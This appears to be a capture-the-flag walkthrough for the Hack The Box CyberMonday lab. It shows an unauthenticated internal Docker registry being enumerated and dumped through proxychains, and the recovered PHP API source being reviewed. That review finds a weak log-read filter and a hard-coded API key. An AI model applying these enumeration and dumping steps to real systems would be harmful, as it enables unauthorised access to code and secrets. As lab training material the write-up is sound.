Docker Registry
During the network scan with the pivoting technique, the 172.18.0.7 host was discovered with the port 5000 up and running a service
Performing an additional Nmap scan
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q nmap -sC -sV -p5000 172.18.0.7
starting nmap 7.94 ( https://nmap.org ) at 2023-08-22 21:05 CEST
stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
service scan timing: About 0.00% done
Nmap scan report for 172.18.0.7
Host is up (0.082s latency).
PORT STATE SERVICE VERSION
5000/tcp open http docker registry (api: 2.0)
|_http-title: Site doesn't have a title.
service detection performed. please report any incorrect results at https://nmap.org/submit/ .
nmap done: 1 IP address (1 host up) scanned in 95.99 secondsThe 172.18.0.7 host is running a Docker Registry service API Version 2.0
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q curl http://172.18.0.7:5000/v2/_catalog
{"repositories":["cybermonday_api"]}The registry contains a single repository; cybermonday_api
Based on the name, I’d assume that it contains a Docker image for the API web app.
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q curl http://172.18.0.7:5000/v2/_catalog -k
{"repositories":["cybermonday_api"]}I can check if the registry requires authentication for access with the -k flag
No authentication required
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q curl http://172.18.0.7:5000/v2/cybermonday_api/tags/list
{"name":"cybermonday_api","tags":["latest"]}Listing the versions shows just one; latest
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q docker pull 172.18.0.7:5000/cybermonday_api
using default tag: latest
error response from daemon: Get "https://172.18.0.7:5000/v2/": dial tcp 172.18.0.7:5000: connect: no route to hostAttempting to pull the image with docker fails. I’d need to find a way around and there is a tool for that
dockerregistrygrabber is a Python tool to enumerate/dump docker registry (with or without basic authentication)
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ proxychains -q python3 DockerGrabber.py --help
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
usage: DockerGrabber.py [-h] [-p port] [-U USERNAME] [-P PASSWORD]
[--dump DOCKERNAME | --list | --dump_all]
url
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
--dump DOCKERNAME DockerName
--list
--dump_all
authentication:
-U USERNAME Username
-P PASSWORD PasswordThe tool is fairly simple to use It does also support listing repos
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ proxychains -q python3 dockergrabber.py http://172.18.0.7:5000 --list
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
[+] cybermonday_apiThere is the cybermonday_api repo
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ proxychains -q python3 dockergrabber.py http://172.18.0.7 --dump_all
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
[+] cybermonday_api
[+] BlobSum found 27
[+] Dumping cybermonday_api
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce
[+] downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1
[+] downloading : 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f
[+] downloading : 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c
[+] downloading : 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33
[+] downloading : 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb
[+] downloading : 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ ll
total 20K
4.0k drwxr-xr-x 2 kali kali 4.0k aug 22 21:24 cybermonday_api
4.0k drwxr-xr-x 3 kali kali 4.0k aug 22 21:23 .
4.0k drwxr-xr-x 6 kali kali 4.0k aug 22 21:22 ..
8.0k -rw-r--r-- 1 kali kali 5.7k aug 22 21:22 DockerGrabber.pyUsing the --dump_all flag to download all the blobs
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ ll cybermonday_api
total 190M
28m -rw-r--r-- 1 kali kali 28m aug 22 21:24 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz
4.0k drwxr-xr-x 2 kali kali 4.0k aug 22 21:24 .
4.0k -rw-r--r-- 1 kali kali 32 aug 22 21:24 a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
4.0k -rw-r--r-- 1 kali kali 224 aug 22 21:24 affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz
100m -rw-r--r-- 1 kali kali 100m aug 22 21:24 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz
4.0k -rw-r--r-- 1 kali kali 269 aug 22 21:24 dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz
12m -rw-r--r-- 1 kali kali 12m aug 22 21:24 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz
4.0k -rw-r--r-- 1 kali kali 492 aug 22 21:24 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz
35m -rw-r--r-- 1 kali kali 35m aug 22 21:24 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz
4.0k -rw-r--r-- 1 kali kali 2.4k aug 22 21:23 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz
4.0k -rw-r--r-- 1 kali kali 243 aug 22 21:23 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz
15m -rw-r--r-- 1 kali kali 15m aug 22 21:23 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz
116k -rw-r--r-- 1 kali kali 116k aug 22 21:23 ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz
512k -rw-r--r-- 1 kali kali 510k aug 22 21:23 ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz
512k -rw-r--r-- 1 kali kali 510k aug 22 21:23 beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
4.0k drwxr-xr-x 3 kali kali 4.0k aug 22 21:23 ..The dump contains the list of blobs, and each represent a commit to the image
┌──(kali㉿kali)-[~/…/labs/cybermonday/docker/cybermonday_api]
└─$ mkdir decompressed ; cat *.tar.gz | tar -xzf - -C decompressed -iExtracting content to the decompressed directory
┌──(kali㉿kali)-[~/…/labs/cybermonday/docker/cybermonday_api]
└─$ ll decompressed
total 68K
4.0k drwxr-xr-x 17 kali kali 4.0k aug 22 21:58 .
4.0k drwxr-xr-x 3 kali kali 4.0k aug 22 21:58 ..
4.0k drwxr-xr-x 2 kali kali 4.0k jul 3 07:00 tmp
4.0k drwx------ 2 kali kali 4.0k jun 14 07:09 root
4.0k drwxr-xr-x 12 kali kali 4.0k jun 14 06:37 var
4.0k drwxr-xr-x 34 kali kali 4.0k jun 14 06:36 etc
0 lrwxrwxrwx 1 kali kali 7 jun 12 02:00 bin -> usr/bin
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 dev
0 lrwxrwxrwx 1 kali kali 7 jun 12 02:00 lib -> usr/lib
0 lrwxrwxrwx 1 kali kali 9 jun 12 02:00 lib32 -> usr/lib32
0 lrwxrwxrwx 1 kali kali 9 jun 12 02:00 lib64 -> usr/lib64
0 lrwxrwxrwx 1 kali kali 10 jun 12 02:00 libx32 -> usr/libx32
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 media
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 mnt
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 opt
4.0k drwxr-xr-x 3 kali kali 4.0k jun 12 02:00 run
0 lrwxrwxrwx 1 kali kali 8 jun 12 02:00 sbin -> usr/sbin
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 srv
4.0k drwxr-xr-x 14 kali kali 4.0k jun 12 02:00 usr
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 boot
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 home
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 proc
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 sysThe content is an entire Linux filesystem indeed
cybermonday_api
┌──(kali㉿kali)-[~/…/cybermonday/docker/cybermonday_api/decompressed]
└─$ cd var/www/html/ ; ll
total 64K
4.0K -rw-r--r-- 1 kali kali 153 Jun 30 17:26 config.php
4.0K drwxr-xr-x 6 kali kali 4.0K Jun 14 06:37 .
4.0K drwxr-xr-x 3 kali kali 4.0K Jun 14 06:37 ..
4.0K drwxr-xr-x 2 kali kali 4.0K May 29 04:03 public
4.0K -rw-r--r-- 1 kali kali 10 May 29 03:46 .dockerignore
4.0K drwxr-xr-x 2 kali kali 4.0K May 29 01:51 keys
4.0K -rw-r--r-- 1 kali kali 328 May 29 01:20 composer.json
24K -rw-r--r-- 1 kali kali 22K May 29 01:20 composer.lock
4.0K drwxr-xr-x 9 kali kali 4.0K May 29 01:20 vendor
4.0K drwxr-xr-x 8 kali kali 4.0K May 28 19:36 app
4.0K -rw-r--r-- 1 kali kali 56 May 8 18:25 bootstrap.phpLooking at the web directory reveals a JS app, which is likely the API web application
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ cat composer.json
{
"autoload": {
"psr-4": {
"app\\": "app/"
},
"files": [
"app/functions/webhook_actions.php",
"app/functions/jwt.php"
]
},
"require": {
"ramsey/uuid": "^4.7",
"firebase/php-jwt": "4.0",
"codercat/jwk-to-pem": "^1.1"
}
}It is the indeed the API web app
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ ll public
total 20K
4.0K -rw-r--r-- 1 kali kali 98 Jun 30 17:25 index.php
4.0K drwxr-xr-x 6 kali kali 4.0K Jun 14 06:37 ..
4.0K -rw-r--r-- 1 kali kali 602 May 29 04:03 .htaccess
4.0K drwxr-xr-x 2 kali kali 4.0K May 29 04:03 .
4.0K -rw-r--r-- 1 kali kali 447 May 29 01:41 jwks.jsonThere is the secret key; jwks.json
I will try to compare this with the one from the live instance
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ cat public/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}They are identical. This confirms it
Keys
┌──(kali㉿kali)-[~/…/var/www/html/keys]
└─$ ll
total 16K
4.0k -rw-r--r-- 1 kali kali 451 jun 30 17:48 public.pem
4.0k -rw------- 1 kali kali 1.7k jun 30 17:48 private.pemThere is also the public/private key pair for the web application
Router.php
The app/routes/Router.php file provides a simple configuration for routing different HTTP requests
All the API endpoints are listed here, and their co-responding controller actions to handle the request appropriately
IndexController.php
The app/controllers/IndexController.php file also provides somewhat similar information to the Router.php file
But it also does provide the available routes, their methods, and potential parameters in those API enpoints
AuthController.php
The app/controllers/AuthController.php file appears to handle both register and login actions
- The
registeraction takes bothusernameandpassswordparameters- the
roleparameter is predefined touser- meaning that it’s impossible to become
adminvia theregisteraction
- meaning that it’s impossible to become
- the
- The
loginaction generates a token(x-access-token) that contains 3 attributes;id,username, androle
jwt.php
The app/functions/jwt.php file is used by the app/controllers/AuthController.php file above to handle the login action with the createToken function
It uses the public/private key pair above
LogsController.php
<?php
namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;
class LogsController extends Api
{
public function index($request)
{
$this->apiKeyAuth();
$webhook = new Webhook;
$webhook_find = $webhook->find("uuid", $request->uuid);
if(!$webhook_find)
{
return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
}
if($webhook_find->action != "createLogFile")
{
return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
}
$actions = ["list", "read"];
if(!isset($this->data->action) || empty($this->data->action))
{
return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
}
if($this->data->action == "read")
{
if(!isset($this->data->log_name) || empty($this->data->log_name))
{
return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
}
}
if(!in_array($this->data->action, $actions))
{
return $this->response(["status" => "error", "message" => "invalid action"], 400);
}
$logPath = "/logs/{$webhook_find->name}/";
switch($this->data->action)
{
case "list":
$logs = scandir($logPath);
array_splice($logs, 0, 1); array_splice($logs, 0, 1);
return $this->response(["status" => "success", "message" => $logs]);
case "read":
$logName = $this->data->log_name;
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logName = str_replace(' ', '', $logName);
if(stripos($logName, "log") === false)
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
if(!file_exists($logPath.$logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logContent = file_get_contents($logPath.$logName);
return $this->response(["status" => "success", "message" => $logContent]);
}
}
}Surprisingly, the app/controllers/LogsController.php file defines 2 additional actions that was not shown in the app/controllers/IndexController.php file above, but this ONLY gets invoked from the API Endpoint at /webhooks/:uuid/logs
Those are list and read actions;
-
listAction:- The
listaction is triggered if it’s supplied to theactionparameter of the API Endpoint at/webhooks/:uuid/logs - This action aims to retrieve a list of log files associated with a particular webhook
- It uses the
scandirfunction to list the files in a specified directory (log directory associated with the webhook) - The initial elements
.and..(current directory and parent directory) are removed from the list - The resulting list of log files is returned as a response with a “success” status
- The
-
readAction:- The
listaction is triggered if it’s supplied to theactionparameter of the API Endpoint at/webhooks/:uuid/logs - This action is designed to read the content of a specific log file associated with a webhook
- It first checks if the requested log file exists in the specified log directory
- If the log file doesn’t exist or if the log name includes certain forbidden characters or patterns, an appropriate error response is returned
- If the log file exists and passes the checks, the content of the log file is read using
file_get_contents - The content of the log file is then returned as a response with a “success” status
- The
I believe that these 2 actions could be abused for file read
Another important point to make here is the following line; $this->apiKeyAuth();
- appears to be a prerequisite to get to either of actions above
- performs a form authentication process by calling the
apiKeyAuth()function- if the
apiKeyAuth()function does not returntrue, it’s impossible to get to either of actions above
- if the
- The
apiKeyAuth()function is present in theapp\helpers\Api.phpfile below
Api.php
<?php
namespace app\helpers;
use app\helpers\Request;
abstract class Api
{
protected $data;
protected $user;
private $api_key;
public function __construct()
{
$method = request::method();
if(!isset($_SERVER['CONTENT_TYPE']) && $method != "get" || $method != "get" && $_SERVER['CONTENT_TYPE'] != "application/json")
{
return http_response_code(404);
}
header('content-type: application/json; charset=utf-8');
$this->data = json_decode(file_get_contents("php://input"));
}
public function auth()
{
if(!isset($_SERVER["HTTP_X_ACCESS_TOKEN"]) || empty($_SERVER["HTTP_X_ACCESS_TOKEN"]))
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
$token = $_SERVER["HTTP_X_ACCESS_TOKEN"];
$decoded = decodeToken($token);
if(!$decoded)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
$this->user = $decoded;
}
public function apiKeyAuth()
{
$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";
if(!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
public function admin()
{
$this->auth();
if($this->user->role != "admin")
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
public function response(array $data, $status = 200) {
http_response_code($status);
die(json_encode($data));
}The app\helpers\Api.php file indeed contains the apiKeyAuth() function mentioned above
It seems to check for the api_key variable in the X_API_KEY header
- The
api_keyvariable is essentially a secret key;22892e36-1770-11ee-be56-0242ac120002
x_api_key: 22892e36-1770-11ee-be56-0242ac120002
So this means that I just need to supply the api_key variable in the X_API_KEY header when attempting to abuse those 2 actions above